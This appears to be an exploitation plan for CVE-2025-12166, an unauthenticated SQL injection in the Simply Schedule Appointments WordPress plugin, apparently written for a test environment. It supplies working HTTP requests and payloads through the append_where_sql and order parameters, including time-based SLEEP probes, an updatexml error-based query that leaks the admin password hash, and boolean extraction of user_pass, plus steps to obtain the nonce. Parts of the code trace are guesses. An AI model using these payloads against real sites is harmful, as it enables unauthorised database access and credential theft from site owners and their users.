Simply Schedule Appointments <= 1.6.9.9 - Unauthenticated SQL Injection via `order` and `append_where_sql` Parameters

This plan outlines the research and exploitation strategy for CVE-2025-12166, a critical unauthenticated SQL injection vulnerability in the Simply Schedule Appointments plugin (<= 1.6.9.9).

1. Vulnerability Summary

The vulnerability exists because the plugin accepts raw SQL fragments through the order and append_where_sql parameters in certain AJAX endpoints. These parameters are concatenated directly into SQL queries without proper sanitization or the use of $wpdb->prepare(). Since these endpoints are registered via wp_ajax_nopriv_ hooks, unauthenticated attackers can manipulate the query logic to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action (Inferred): Likely ssa_get_appointments, ssa_get_appointments_list, or ssa_fetch_appointments. (Search for wp_ajax_nopriv_ registrations).
• Parameters: order (used in ORDER BY clauses) and append_where_sql (used in WHERE clauses).
• Authentication: None (Unauthenticated).
• Preconditions: At least one Appointment Type must be public/active so the frontend booking calendar (and its associated AJAX actions) is accessible.

3. Code Flow (Trace)

1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with the action parameter set to a vulnerable SSA hook (e.g., ssa_get_appointments).
2. Hook Registration: The plugin registers the handler via:
   add_action( 'wp_ajax_nopriv_ssa_get_appointments', [ $this, 'get_appointments' ] ); (Verify exact name).
3. Controller Logic: The handler function (likely in an AJAX controller class) retrieves the parameters:
   $append_where = $_POST['append_where_sql'] ?? '';
$order = $_POST['order'] ?? '';
4. Database Layer: The controller passes these to a repository or query class (e.g., Appointment_Repository).
5. Sink: The query class builds a string:
   $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order;
$results = $wpdb->get_results( $query ); (The lack of prepare() here is the sink).

4. Nonce Acquisition Strategy

Simply Schedule Appointments typically uses a localized script to pass a nonce and API base URL to its Vue.js frontend.

1. Identify Shortcode: The plugin uses [ssa_booking] or [ssa_calendar] to display the booking interface.
2. Create Test Page:
   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
3. Navigate and Extract:
   • Use browser_navigate to the new page.
   • Use browser_eval to find the localized data object.
   • Expected Variable: Check for window.ssa_localized or window.SSA_Data.
   • Command: browser_eval("window.ssa_localized?.nonce || window.SSA_Data?.nonce")
4. Verify Action: Check the source for wp_create_nonce. If the action is ssa_public_api or ssa_ajax_nonce, ensure the AJAX handler verifies the same string.

5. Test Data Setup

1. Install Plugin: Ensure Simply Schedule Appointments <= 1.6.9.9 is active.
2. Configure Appointment Type:
   • wp ssa create_appointment_type --title="Consultation" --slug="consultation" --active=1 (or use the UI).
3. Verify AJAX Action:
   • Grep for the vulnerable parameters:
     grep -r "append_where_sql" wp-content/plugins/simply-schedule-appointments/
grep -r "wp_ajax_nopriv_" wp-content/plugins/simply-schedule-appointments/

6. Exploitation Strategy

We will use append_where_sql as the primary vector as it allows for cleaner boolean or error-based injection.

Step 1: Confirm Injection (Time-based)

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Expected Response: A delay of 5 seconds.

Step 2: Data Extraction (Error-based)

Using updatexml to leak the admin password hash.
HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)

Expected Response:
A MySQL error containing the hash: XPATH syntax error: '~$P$B...~'

7. Expected Results

• A successful exploit will return either a delayed response (Time-based) or a JSON/HTML response containing the leaked database data within an error message.
• If WP_DEBUG is off and errors are suppressed, Boolean-based injection must be used.

8. Verification Steps (Post-Exploit)

1. Compare the extracted hash with the one in the database using WP-CLI:
   wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
2. Confirm the exact line of code in the plugin that failed to use wpdb->prepare().

9. Alternative Approaches

If append_where_sql is patched or restricted, target the order parameter:

• Payload: order=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
• If the endpoint returns a list of appointments, use Boolean-based injection by observing if the order of results changes:
  • order=IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1))>100, id, created)